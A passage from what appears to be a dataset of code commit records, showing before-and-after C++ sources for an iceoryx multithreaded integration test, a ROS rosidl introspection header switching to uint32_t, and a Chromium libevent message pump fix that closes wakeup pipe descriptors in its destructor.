ChunkSenderData<iox::MAX_CHUNKS_ALLOCATED_PER_PUBLISHER_SIMULTANEOUSLY, ChunkDistributorData_t>;\nusing ChunkReceiverData_t = ChunkReceiverData<iox::MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY, ChunkQueueData_t>;\n\nclass ChunkBuildingBlocks_IntegrationTest : public Test\n{\n public:\n ChunkBuildingBlocks_IntegrationTest()\n {\n m_mempoolConfig.addMemPool({SMALL_CHUNK, NUM_CHUNKS_IN_POOL});\n m_memoryManager.configureMemoryManager(m_mempoolConfig, &m_memoryAllocator, &m_memoryAllocator);\n }\n virtual ~ChunkBuildingBlocks_IntegrationTest()\n {\n \/\/\/ @note One chunk is on hold due to the fact that chunkSender and chunkDistributor hold last chunk\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(1));\n }\n\n void SetUp()\n {\n m_chunkSender.tryAddQueue(&m_chunkQueueData);\n m_chunkDistributor.tryAddQueue(&m_chunkReceiverData);\n }\n void TearDown(){};\n\n void publish()\n {\n for (size_t i = 0; i < ITERATIONS; i++)\n {\n m_chunkSender.tryAllocate(sizeof(DummySample), iox::UniquePortId())\n .and_then([&](auto chunkHeader) {\n auto sample = chunkHeader->payload();\n new (sample) DummySample();\n static_cast<DummySample*>(sample)->m_dummy = i;\n m_chunkSender.send(chunkHeader);\n m_sendCounter++;\n })\n .or_else([](AllocationError) {\n \/\/ Errors shall never occur\n FAIL();\n });\n\n \/\/\/ Add some jitter to make thread breathe\n std::this_thread::sleep_for(std::chrono::nanoseconds(rand() % 100));\n }\n \/\/ Signal the next threads we're done\n m_publisherRun = false;\n }\n\n void forward()\n {\n uint64_t forwardCounter{0};\n bool finished{false};\n \/\/ this is to prevent a race condition on thread shutdown; there must be two consecutive empty pops after the\n \/\/ publish thread finished\n bool newChunkReceivedInLastIteration{true};\n while (!finished)\n {\n ASSERT_FALSE(m_popper.hasOverflown());\n\n m_popper.tryPop()\n .and_then([&](auto& chunk) {\n auto dummySample = *reinterpret_cast<DummySample*>(chunk.getPayload());\n \/\/ Check if monotonically increasing\n EXPECT_THAT(dummySample.m_dummy, Eq(forwardCounter));\n m_chunkDistributor.deliverToAllStoredQueues(chunk);\n forwardCounter++;\n newChunkReceivedInLastIteration = true;\n })\n .or_else([&] {\n if (!m_publisherRun.load(std::memory_order_relaxed))\n {\n if (newChunkReceivedInLastIteration)\n {\n newChunkReceivedInLastIteration = false;\n }\n else\n {\n finished = true;\n }\n }\n });\n }\n \/\/ Signal the next threads we're done\n m_forwarderRun = false;\n }\n\n void subscribe()\n {\n bool finished{false};\n \/\/ this is to prevent a race condition on thread shutdown; there must be two consecutive empty pops after the\n \/\/ forward thread finished\n bool newChunkReceivedInLastIteration{true};\n\n while (!finished)\n {\n ASSERT_FALSE(m_chunkReceiver.hasOverflown());\n\n m_chunkReceiver.tryGet()\n .and_then([&](iox::cxx::optional<const iox::mepoo::ChunkHeader*>& maybeChunkHeader) {\n if (maybeChunkHeader.has_value())\n {\n auto chunkHeader = maybeChunkHeader.value();\n auto dummySample = *reinterpret_cast<DummySample*>(chunkHeader->payload());\n \/\/ Check if monotonically increasing\n EXPECT_THAT(dummySample.m_dummy, Eq(m_receiveCounter));\n m_receiveCounter++;\n m_chunkReceiver.release(chunkHeader);\n newChunkReceivedInLastIteration = true;\n }\n else if (!m_forwarderRun.load(std::memory_order_relaxed))\n {\n if (newChunkReceivedInLastIteration)\n {\n newChunkReceivedInLastIteration = false;\n }\n else\n {\n finished = true;\n }\n }\n })\n .or_else([](ChunkReceiveError) {\n \/\/ Errors shall never occur\n FAIL();\n });\n }\n }\n\n iox::cxx::GenericRAII m_uniqueRouDiId{[] { iox::popo::internal::setUniqueRouDiId(0); },\n [] { iox::popo::internal::unsetUniqueRouDiId(); }};\n uint64_t m_sendCounter{0};\n uint64_t m_receiveCounter{0};\n std::atomic<bool> m_publisherRun{true};\n std::atomic<bool> m_forwarderRun{true};\n\n \/\/ Memory objects\n Allocator m_memoryAllocator{g_memory, MEMORY_SIZE};\n MePooConfig m_mempoolConfig;\n MemoryManager m_memoryManager;\n\n \/\/ Objects used by publishing thread\n ChunkSenderData_t m_chunkSenderData{&m_memoryManager};\n ChunkSender<ChunkSenderData_t> m_chunkSender{&m_chunkSenderData};\n\n \/\/ Objects used by forwarding thread\n ChunkDistributorData_t m_chunkDistributorData;\n ChunkDistributor_t m_chunkDistributor{&m_chunkDistributorData};\n ChunkQueueData_t m_chunkQueueData{\n iox::cxx::VariantQueueTypes::FiFo_SingleProducerSingleConsumer}; \/\/ SoFi intentionally not used\n ChunkQueuePopper_t m_popper{&m_chunkQueueData};\n\n \/\/ Objects used by subscribing thread\n ChunkReceiverData_t m_chunkReceiverData{\n iox::cxx::VariantQueueTypes::FiFo_SingleProducerSingleConsumer}; \/\/ SoFi intentionally not used\n ChunkReceiver<ChunkReceiverData_t> m_chunkReceiver{&m_chunkReceiverData};\n};\n\nTEST_F(ChunkBuildingBlocks_IntegrationTest, TwoHopsThreeThreadsNoSoFi)\n{\n std::thread subscribingThread(&ChunkBuildingBlocks_IntegrationTest::subscribe, this);\n std::thread forwardingThread(&ChunkBuildingBlocks_IntegrationTest::forward, this);\n std::thread publishingThread(&ChunkBuildingBlocks_IntegrationTest::publish, this);\n\n if (publishingThread.joinable())\n {\n publishingThread.join();\n }\n\n if (forwardingThread.joinable())\n {\n forwardingThread.join();\n }\n\n if (subscribingThread.joinable())\n {\n subscribingThread.join();\n }\n\n EXPECT_EQ(m_sendCounter, m_receiveCounter);\n}\n<commit_msg>iox-#408 another try to make ChunkBuildingBlocks_IntegrationTest more robust<commit_after>\/\/ Copyright (c) 2020 by Robert Bosch GmbH. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_distributor.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_receiver.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/chunk_sender.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/building_blocks\/locking_policy.hpp\"\n#include \"iceoryx_posh\/internal\/popo\/ports\/base_port.hpp\"\n#include \"iceoryx_posh\/mepoo\/mepoo_config.hpp\"\n#include \"iceoryx_utils\/cxx\/generic_raii.hpp\"\n\n#include \"test.hpp\"\n\n#include <chrono>\n#include <stdlib.h>\n#include <thread>\n\nusing namespace ::testing;\nusing namespace iox::popo;\nusing namespace iox::cxx;\nusing namespace iox::mepoo;\nusing namespace iox::posix;\nusing ::testing::Return;\n\nstruct DummySample\n{\n uint64_t m_dummy{42};\n};\n\nstatic constexpr uint32_t NUM_CHUNKS_IN_POOL = 9 * iox::MAX_SUBSCRIBER_QUEUE_CAPACITY;\nstatic constexpr uint32_t SMALL_CHUNK = 128;\nstatic constexpr uint32_t CHUNK_META_INFO_SIZE = 256;\nstatic constexpr size_t MEMORY_SIZE = NUM_CHUNKS_IN_POOL * (SMALL_CHUNK + CHUNK_META_INFO_SIZE);\nalignas(64) static uint8_t g_memory[MEMORY_SIZE];\nstatic constexpr uint32_t ITERATIONS = 10000;\nstatic constexpr uint32_t MAX_NUMBER_QUEUES = 128;\n\nstruct ChunkDistributorConfig\n{\n static constexpr uint32_t MAX_QUEUES = MAX_NUMBER_QUEUES;\n static constexpr uint64_t MAX_HISTORY_CAPACITY = iox::MAX_PUBLISHER_HISTORY;\n};\n\nstruct ChunkQueueConfig\n{\n static constexpr uint64_t MAX_QUEUE_CAPACITY = NUM_CHUNKS_IN_POOL \/ 3;\n};\n\nusing ChunkQueueData_t = ChunkQueueData<ChunkQueueConfig, ThreadSafePolicy>;\nusing ChunkDistributorData_t =\n ChunkDistributorData<ChunkDistributorConfig, ThreadSafePolicy, ChunkQueuePusher<ChunkQueueData_t>>;\nusing ChunkDistributor_t = ChunkDistributor<ChunkDistributorData_t>;\nusing ChunkQueuePopper_t = ChunkQueuePopper<ChunkQueueData_t>;\nusing ChunkSenderData_t =\n ChunkSenderData<iox::MAX_CHUNKS_ALLOCATED_PER_PUBLISHER_SIMULTANEOUSLY, ChunkDistributorData_t>;\nusing ChunkReceiverData_t = ChunkReceiverData<iox::MAX_CHUNKS_HELD_PER_SUBSCRIBER_SIMULTANEOUSLY, ChunkQueueData_t>;\n\nclass ChunkBuildingBlocks_IntegrationTest : public Test\n{\n public:\n ChunkBuildingBlocks_IntegrationTest()\n {\n m_mempoolConfig.addMemPool({SMALL_CHUNK, NUM_CHUNKS_IN_POOL});\n m_memoryManager.configureMemoryManager(m_mempoolConfig, &m_memoryAllocator, &m_memoryAllocator);\n }\n virtual ~ChunkBuildingBlocks_IntegrationTest()\n {\n \/\/\/ @note One chunk is on hold due to the fact that chunkSender and chunkDistributor hold last chunk\n EXPECT_THAT(m_memoryManager.getMemPoolInfo(0).m_usedChunks, Eq(1));\n }\n\n void SetUp()\n {\n m_chunkSender.tryAddQueue(&m_chunkQueueData);\n m_chunkDistributor.tryAddQueue(&m_chunkReceiverData);\n }\n void TearDown(){};\n\n void publish()\n {\n for (size_t i = 0; i < ITERATIONS; i++)\n {\n m_chunkSender.tryAllocate(sizeof(DummySample), iox::UniquePortId())\n .and_then([&](auto chunkHeader) {\n auto sample = chunkHeader->payload();\n new (sample) DummySample();\n static_cast<DummySample*>(sample)->m_dummy = i;\n m_chunkSender.send(chunkHeader);\n m_sendCounter++;\n })\n .or_else([](AllocationError) {\n \/\/ Errors shall never occur\n FAIL();\n });\n\n \/\/\/ Add some jitter to make thread breathe\n std::this_thread::sleep_for(std::chrono::nanoseconds(rand() % 100));\n }\n \/\/ Signal the next threads we're done\n m_publisherRun = false;\n }\n\n void forward()\n {\n uint64_t forwardCounter{0};\n bool finished{false};\n \/\/ this is to prevent a race condition on thread shutdown; there must be two consecutive empty pops after the\n \/\/ publish thread finished\n bool newChunkReceivedInLastIteration{true};\n while (!finished)\n {\n ASSERT_FALSE(m_popper.hasOverflown());\n\n m_popper.tryPop()\n .and_then([&](auto& chunk) {\n auto dummySample = *reinterpret_cast<DummySample*>(chunk.getPayload());\n \/\/ Check if monotonically increasing\n EXPECT_THAT(dummySample.m_dummy, Eq(forwardCounter));\n m_chunkDistributor.deliverToAllStoredQueues(chunk);\n forwardCounter++;\n newChunkReceivedInLastIteration = true;\n })\n .or_else([&] {\n if (!m_publisherRun.load(std::memory_order_relaxed))\n {\n if (newChunkReceivedInLastIteration)\n {\n newChunkReceivedInLastIteration = false;\n }\n else\n {\n finished = true;\n }\n }\n });\n }\n \/\/ Signal the next threads we're done\n m_forwarderRun = false;\n }\n\n void subscribe()\n {\n bool finished{false};\n \/\/ this is to prevent a race condition on thread shutdown; there must be two consecutive empty pops after the\n \/\/ forward thread finished\n bool newChunkReceivedInLastIteration{true};\n\n while (!finished)\n {\n ASSERT_FALSE(m_chunkReceiver.hasOverflown());\n\n m_chunkReceiver.tryGet()\n .and_then([&](iox::cxx::optional<const iox::mepoo::ChunkHeader*>& maybeChunkHeader) {\n if (maybeChunkHeader.has_value())\n {\n auto chunkHeader = maybeChunkHeader.value();\n auto dummySample = *reinterpret_cast<DummySample*>(chunkHeader->payload());\n \/\/ Check if monotonically increasing\n EXPECT_THAT(dummySample.m_dummy, Eq(m_receiveCounter));\n m_receiveCounter++;\n m_chunkReceiver.release(chunkHeader);\n newChunkReceivedInLastIteration = true;\n }\n else if (!m_forwarderRun.load(std::memory_order_relaxed))\n {\n if (newChunkReceivedInLastIteration)\n {\n newChunkReceivedInLastIteration = false;\n }\n else\n {\n finished = true;\n }\n }\n })\n .or_else([](ChunkReceiveError) {\n \/\/ Errors shall never occur\n FAIL();\n });\n }\n }\n\n iox::cxx::GenericRAII m_uniqueRouDiId{[] { iox::popo::internal::setUniqueRouDiId(0); },\n [] { iox::popo::internal::unsetUniqueRouDiId(); }};\n uint64_t m_sendCounter{0};\n uint64_t m_receiveCounter{0};\n std::atomic<bool> m_publisherRun{true};\n std::atomic<bool> m_forwarderRun{true};\n\n \/\/ Memory objects\n Allocator m_memoryAllocator{g_memory, MEMORY_SIZE};\n MePooConfig m_mempoolConfig;\n MemoryManager m_memoryManager;\n\n \/\/ Objects used by publishing thread\n ChunkSenderData_t m_chunkSenderData{&m_memoryManager};\n ChunkSender<ChunkSenderData_t> m_chunkSender{&m_chunkSenderData};\n\n \/\/ Objects used by forwarding thread\n ChunkDistributorData_t m_chunkDistributorData;\n ChunkDistributor_t m_chunkDistributor{&m_chunkDistributorData};\n ChunkQueueData_t m_chunkQueueData{\n iox::cxx::VariantQueueTypes::FiFo_SingleProducerSingleConsumer}; \/\/ SoFi intentionally not used\n ChunkQueuePopper_t m_popper{&m_chunkQueueData};\n\n \/\/ Objects used by subscribing thread\n ChunkReceiverData_t m_chunkReceiverData{\n iox::cxx::VariantQueueTypes::FiFo_SingleProducerSingleConsumer}; \/\/ SoFi intentionally not used\n ChunkReceiver<ChunkReceiverData_t> m_chunkReceiver{&m_chunkReceiverData};\n};\n\nTEST_F(ChunkBuildingBlocks_IntegrationTest, TwoHopsThreeThreadsNoSoFi)\n{\n std::thread subscribingThread(&ChunkBuildingBlocks_IntegrationTest::subscribe, this);\n std::thread forwardingThread(&ChunkBuildingBlocks_IntegrationTest::forward, this);\n std::thread publishingThread(&ChunkBuildingBlocks_IntegrationTest::publish, this);\n\n if (publishingThread.joinable())\n {\n publishingThread.join();\n }\n\n if (forwardingThread.joinable())\n {\n forwardingThread.join();\n }\n\n if (subscribingThread.joinable())\n {\n subscribingThread.join();\n }\n\n EXPECT_EQ(m_sendCounter, m_receiveCounter);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2014 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef ROSIDL_TYPESUPPORT_INTROSPECTION_CPP__MESSAGE_INTROSPECTION_HPP_\n#define ROSIDL_TYPESUPPORT_INTROSPECTION_CPP__MESSAGE_INTROSPECTION_HPP_\n\n#include <cstddef>\n#include <cstdint>\n\n#include \"rosidl_generator_c\/message_type_support.h\"\n\n#include \"rosidl_typesupport_introspection_cpp\/visibility_control.h\"\n\nnamespace rosidl_typesupport_introspection_cpp\n{\n\nstruct ROSIDL_TYPESUPPORT_INTROSPECTION_CPP_PUBLIC MessageMembers;\n\ntypedef struct ROSIDL_TYPESUPPORT_INTROSPECTION_CPP_PUBLIC MessageMember\n{\n const char * name_;\n uint8_t type_id_;\n size_t string_upper_bound_;\n const rosidl_message_type_support_t * members_;\n bool is_array_;\n size_t array_size_;\n bool is_upper_bound_;\n unsigned long offset_;\n const void * default_value_;\n size_t (* size_function)(const void *);\n const void * (*get_const_function)(const void *, size_t index);\n void * (*get_function)(void *, size_t index);\n void (* resize_function)(void *, size_t size);\n} MessageMember;\n\ntypedef struct ROSIDL_TYPESUPPORT_INTROSPECTION_CPP_PUBLIC MessageMembers\n{\n const char * package_name_;\n const char * message_name_;\n unsigned long member_count_;\n const MessageMember * members_;\n} MessageMembers;\n\n} \/\/ namespace rosidl_typesupport_introspection_cpp\n\n#endif \/\/ ROSIDL_TYPESUPPORT_INTROSPECTION_CPP__MESSAGE_INTROSPECTION_HPP_\n<commit_msg>Replace unsigned long with uint32_t<commit_after>\/\/ Copyright 2014 Open Source Robotics Foundation, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef ROSIDL_TYPESUPPORT_INTROSPECTION_CPP__MESSAGE_INTROSPECTION_HPP_\n#define ROSIDL_TYPESUPPORT_INTROSPECTION_CPP__MESSAGE_INTROSPECTION_HPP_\n\n#include <cstddef>\n#include <cstdint>\n\n#include \"rosidl_generator_c\/message_type_support.h\"\n\n#include \"rosidl_typesupport_introspection_cpp\/visibility_control.h\"\n\nnamespace rosidl_typesupport_introspection_cpp\n{\n\nstruct ROSIDL_TYPESUPPORT_INTROSPECTION_CPP_PUBLIC MessageMembers;\n\ntypedef struct ROSIDL_TYPESUPPORT_INTROSPECTION_CPP_PUBLIC MessageMember\n{\n const char * name_;\n uint8_t type_id_;\n size_t string_upper_bound_;\n const rosidl_message_type_support_t * members_;\n bool is_array_;\n size_t array_size_;\n bool is_upper_bound_;\n uint32_t offset_;\n const void * default_value_;\n size_t (* size_function)(const void *);\n const void * (*get_const_function)(const void *, size_t index);\n void * (*get_function)(void *, size_t index);\n void (* resize_function)(void *, size_t size);\n} MessageMember;\n\ntypedef struct ROSIDL_TYPESUPPORT_INTROSPECTION_CPP_PUBLIC MessageMembers\n{\n const char * package_name_;\n const char * message_name_;\n uint32_t member_count_;\n const MessageMember * members_;\n} MessageMembers;\n\n} \/\/ namespace rosidl_typesupport_introspection_cpp\n\n#endif \/\/ ROSIDL_TYPESUPPORT_INTROSPECTION_CPP__MESSAGE_INTROSPECTION_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/message_pump_libevent.h\"\n\n#include <errno.h>\n#include <fcntl.h>\n\n#include \"base\/logging.h\"\n#include \"base\/scoped_nsautorelease_pool.h\"\n#include \"base\/time.h\"\n#include \"third_party\/libevent\/event.h\"\n\nnamespace base {\n\n\/\/ Return 0 on success\n\/\/ Too small a function to bother putting in a library?\nstatic int SetNonBlocking(int fd) {\n int flags = fcntl(fd, F_GETFL, 0);\n if (flags == -1)\n flags = 0;\n return fcntl(fd, F_SETFL, flags | O_NONBLOCK);\n}\n\nMessagePumpLibevent::FileDescriptorWatcher::FileDescriptorWatcher()\n : is_persistent_(false),\n event_(NULL) {\n}\n\nMessagePumpLibevent::FileDescriptorWatcher::~FileDescriptorWatcher() {\n if (event_.get()) {\n StopWatchingFileDescriptor();\n }\n}\n\nvoid MessagePumpLibevent::FileDescriptorWatcher::Init(event *e,\n bool is_persistent) {\n DCHECK(e);\n DCHECK(event_.get() == NULL);\n\n is_persistent_ = is_persistent;\n event_.reset(e);\n}\n\nevent *MessagePumpLibevent::FileDescriptorWatcher::ReleaseEvent() {\n return event_.release();\n}\n\nbool MessagePumpLibevent::FileDescriptorWatcher::StopWatchingFileDescriptor() {\n if (event_.get() == NULL) {\n return true;\n }\n\n \/\/ event_del() is a no-op of the event isn't active.\n return (event_del(event_.get()) == 0);\n}\n\n\/\/ Called if a byte is received on the wakeup pipe.\nvoid MessagePumpLibevent::OnWakeup(int socket, short flags, void* context) {\n base::MessagePumpLibevent* that =\n static_cast<base::MessagePumpLibevent*>(context);\n DCHECK(that->wakeup_pipe_out_ == socket);\n\n \/\/ Remove and discard the wakeup byte.\n char buf;\n int nread = read(socket, &buf, 1);\n DCHECK(nread == 1);\n \/\/ Tell libevent to break out of inner loop.\n event_base_loopbreak(that->event_base_);\n}\n\nMessagePumpLibevent::MessagePumpLibevent()\n : keep_running_(true),\n in_run_(false),\n event_base_(event_base_new()),\n wakeup_pipe_in_(-1),\n wakeup_pipe_out_(-1) {\n if (!Init())\n NOTREACHED();\n}\n\nbool MessagePumpLibevent::Init() {\n int fds[2];\n if (pipe(fds)) {\n DLOG(ERROR) << \"pipe() failed, errno: \" << errno;\n return false;\n }\n if (SetNonBlocking(fds[0])) {\n DLOG(ERROR) << \"SetNonBlocking for pipe fd[0] failed, errno: \" << errno;\n return false;\n }\n if (SetNonBlocking(fds[1])) {\n DLOG(ERROR) << \"SetNonBlocking for pipe fd[1] failed, errno: \" << errno;\n return false;\n }\n wakeup_pipe_out_ = fds[0];\n wakeup_pipe_in_ = fds[1];\n\n wakeup_event_ = new event;\n event_set(wakeup_event_, wakeup_pipe_out_, EV_READ | EV_PERSIST,\n OnWakeup, this);\n event_base_set(event_base_, wakeup_event_);\n\n if (event_add(wakeup_event_, 0))\n return false;\n return true;\n}\n\nMessagePumpLibevent::~MessagePumpLibevent() {\n DCHECK(wakeup_event_);\n DCHECK(event_base_);\n event_del(wakeup_event_);\n delete wakeup_event_;\n event_base_free(event_base_);\n}\n\nbool MessagePumpLibevent::WatchFileDescriptor(int fd,\n bool persistent,\n Mode mode,\n FileDescriptorWatcher *controller,\n Watcher *delegate) {\n DCHECK(fd > 0);\n DCHECK(controller);\n DCHECK(delegate);\n DCHECK(mode == WATCH_READ || mode == WATCH_WRITE || mode == WATCH_READ_WRITE);\n\n int event_mask = persistent ? EV_PERSIST : 0;\n if ((mode & WATCH_READ) != 0) {\n event_mask |= EV_READ;\n }\n if ((mode & WATCH_WRITE) != 0) {\n event_mask |= EV_WRITE;\n }\n\n \/\/ |should_delete_event| is true if we're modifying an event that's currently\n \/\/ active in |controller|.\n \/\/ If we're modifying an existing event and there's an error then we need to\n \/\/ tell libevent to clean it up via event_delete() before returning.\n bool should_delete_event = true;\n scoped_ptr<event> evt(controller->ReleaseEvent());\n if (evt.get() == NULL) {\n should_delete_event = false;\n \/\/ Ownership is transferred to the controller.\n evt.reset(new event);\n }\n\n \/\/ Set current interest mask and message pump for this event.\n event_set(evt.get(), fd, event_mask, OnLibeventNotification,\n delegate);\n\n \/\/ Tell libevent which message pump this socket will belong to when we add it.\n if (event_base_set(event_base_, evt.get()) != 0) {\n if (should_delete_event) {\n event_del(evt.get());\n }\n return false;\n }\n\n \/\/ Add this socket to the list of monitored sockets.\n if (event_add(evt.get(), NULL) != 0) {\n if (should_delete_event) {\n event_del(evt.get());\n }\n return false;\n }\n\n \/\/ Transfer ownership of e to controller.\n controller->Init(evt.release(), persistent);\n return true;\n}\n\n\nvoid MessagePumpLibevent::OnLibeventNotification(int fd, short flags,\n void* context) {\n Watcher* watcher = static_cast<Watcher*>(context);\n\n if (flags & EV_WRITE) {\n watcher->OnFileCanWriteWithoutBlocking(fd);\n }\n if (flags & EV_READ) {\n watcher->OnFileCanReadWithoutBlocking(fd);\n }\n}\n\n\/\/ Reentrant!\nvoid MessagePumpLibevent::Run(Delegate* delegate) {\n DCHECK(keep_running_) << \"Quit must have been called outside of Run!\";\n\n bool old_in_run = in_run_;\n in_run_ = true;\n\n for (;;) {\n ScopedNSAutoreleasePool autorelease_pool;\n\n bool did_work = delegate->DoWork();\n if (!keep_running_)\n break;\n\n did_work |= delegate->DoDelayedWork(&delayed_work_time_);\n if (!keep_running_)\n break;\n\n if (did_work)\n continue;\n\n did_work = delegate->DoIdleWork();\n if (!keep_running_)\n break;\n\n if (did_work)\n continue;\n\n \/\/ EVLOOP_ONCE tells libevent to only block once,\n \/\/ but to service all pending events when it wakes up.\n if (delayed_work_time_.is_null()) {\n event_base_loop(event_base_, EVLOOP_ONCE);\n } else {\n TimeDelta delay = delayed_work_time_ - Time::Now();\n if (delay > TimeDelta()) {\n struct timeval poll_tv;\n poll_tv.tv_sec = delay.InSeconds();\n poll_tv.tv_usec = delay.InMicroseconds() % Time::kMicrosecondsPerSecond;\n event_base_loopexit(event_base_, &poll_tv);\n event_base_loop(event_base_, EVLOOP_ONCE);\n } else {\n \/\/ It looks like delayed_work_time_ indicates a time in the past, so we\n \/\/ need to call DoDelayedWork now.\n delayed_work_time_ = Time();\n }\n }\n }\n\n keep_running_ = true;\n in_run_ = old_in_run;\n}\n\nvoid MessagePumpLibevent::Quit() {\n DCHECK(in_run_);\n \/\/ Tell both libevent and Run that they should break out of their loops.\n keep_running_ = false;\n ScheduleWork();\n}\n\nvoid MessagePumpLibevent::ScheduleWork() {\n \/\/ Tell libevent (in a threadsafe way) that it should break out of its loop.\n char buf = 0;\n int nwrite = write(wakeup_pipe_in_, &buf, 1);\n DCHECK(nwrite == 1);\n}\n\nvoid MessagePumpLibevent::ScheduleDelayedWork(const Time& delayed_work_time) {\n \/\/ We know that we can't be blocked on Wait right now since this method can\n \/\/ only be called on the same thread as Run, so we only need to update our\n \/\/ record of how long to sleep when we do sleep.\n delayed_work_time_ = delayed_work_time;\n}\n\n} \/\/ namespace base\n<commit_msg>The dtor wasn't actually cleaning up the fds from the pipe, so close them down during shutdown. (this w\/ the zombies was what caused the bots to run out of fds) Review URL: http:\/\/codereview.chromium.org\/20006<commit_after>\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/message_pump_libevent.h\"\n\n#include <errno.h>\n#include <fcntl.h>\n\n#include \"base\/logging.h\"\n#include \"base\/scoped_nsautorelease_pool.h\"\n#include \"base\/time.h\"\n#include \"third_party\/libevent\/event.h\"\n\nnamespace base {\n\n\/\/ Return 0 on success\n\/\/ Too small a function to bother putting in a library?\nstatic int SetNonBlocking(int fd) {\n int flags = fcntl(fd, F_GETFL, 0);\n if (flags == -1)\n flags = 0;\n return fcntl(fd, F_SETFL, flags | O_NONBLOCK);\n}\n\nMessagePumpLibevent::FileDescriptorWatcher::FileDescriptorWatcher()\n : is_persistent_(false),\n event_(NULL) {\n}\n\nMessagePumpLibevent::FileDescriptorWatcher::~FileDescriptorWatcher() {\n if (event_.get()) {\n StopWatchingFileDescriptor();\n }\n}\n\nvoid MessagePumpLibevent::FileDescriptorWatcher::Init(event *e,\n bool is_persistent) {\n DCHECK(e);\n DCHECK(event_.get() == NULL);\n\n is_persistent_ = is_persistent;\n event_.reset(e);\n}\n\nevent *MessagePumpLibevent::FileDescriptorWatcher::ReleaseEvent() {\n return event_.release();\n}\n\nbool MessagePumpLibevent::FileDescriptorWatcher::StopWatchingFileDescriptor() {\n if (event_.get() == NULL) {\n return true;\n }\n\n \/\/ event_del() is a no-op of the event isn't active.\n return (event_del(event_.get()) == 0);\n}\n\n\/\/ Called if a byte is received on the wakeup pipe.\nvoid MessagePumpLibevent::OnWakeup(int socket, short flags, void* context) {\n base::MessagePumpLibevent* that =\n static_cast<base::MessagePumpLibevent*>(context);\n DCHECK(that->wakeup_pipe_out_ == socket);\n\n \/\/ Remove and discard the wakeup byte.\n char buf;\n int nread = read(socket, &buf, 1);\n DCHECK(nread == 1);\n \/\/ Tell libevent to break out of inner loop.\n event_base_loopbreak(that->event_base_);\n}\n\nMessagePumpLibevent::MessagePumpLibevent()\n : keep_running_(true),\n in_run_(false),\n event_base_(event_base_new()),\n wakeup_pipe_in_(-1),\n wakeup_pipe_out_(-1) {\n if (!Init())\n NOTREACHED();\n}\n\nbool MessagePumpLibevent::Init() {\n int fds[2];\n if (pipe(fds)) {\n DLOG(ERROR) << \"pipe() failed, errno: \" << errno;\n return false;\n }\n if (SetNonBlocking(fds[0])) {\n DLOG(ERROR) << \"SetNonBlocking for pipe fd[0] failed, errno: \" << errno;\n return false;\n }\n if (SetNonBlocking(fds[1])) {\n DLOG(ERROR) << \"SetNonBlocking for pipe fd[1] failed, errno: \" << errno;\n return false;\n }\n wakeup_pipe_out_ = fds[0];\n wakeup_pipe_in_ = fds[1];\n\n wakeup_event_ = new event;\n event_set(wakeup_event_, wakeup_pipe_out_, EV_READ | EV_PERSIST,\n OnWakeup, this);\n event_base_set(event_base_, wakeup_event_);\n\n if (event_add(wakeup_event_, 0))\n return false;\n return true;\n}\n\nMessagePumpLibevent::~MessagePumpLibevent() {\n DCHECK(wakeup_event_);\n DCHECK(event_base_);\n event_del(wakeup_event_);\n delete wakeup_event_;\n if (wakeup_pipe_in_ >= 0)\n close(wakeup_pipe_in_);\n if (wakeup_pipe_out_ >= 0)\n close(wakeup_pipe_out_);\n event_base_free(event_base_);\n}\n\nbool MessagePumpLibevent::WatchFileDescriptor(int fd,\n bool persistent,\n Mode mode,\n FileDescriptorWatcher *controller,\n Watcher *delegate) {\n DCHECK(fd > 0);\n DCHECK(controller);\n DCHECK(delegate);\n DCHECK(mode == WATCH_READ || mode == WATCH_WRITE || mode == WATCH_READ_WRITE);\n\n int event_mask = persistent ? EV_PERSIST : 0;\n if ((mode & WATCH_READ) != 0) {\n event_mask |= EV_READ;\n }\n if ((mode & WATCH_WRITE) != 0) {\n event_mask |= EV_WRITE;\n }\n\n \/\/ |should_delete_event| is true if we're modifying an event that's currently\n \/\/ active in |controller|.\n \/\/ If we're modifying an existing event and there's an error then we need to\n \/\/ tell libevent to clean it up via event_delete() before returning.\n bool should_delete_event = true;\n scoped_ptr<event> evt(controller->ReleaseEvent());\n if (evt.get() == NULL) {\n should_delete_event = false;\n \/\/ Ownership is transferred to the controller.\n evt.reset(new event);\n }\n\n \/\/ Set current interest 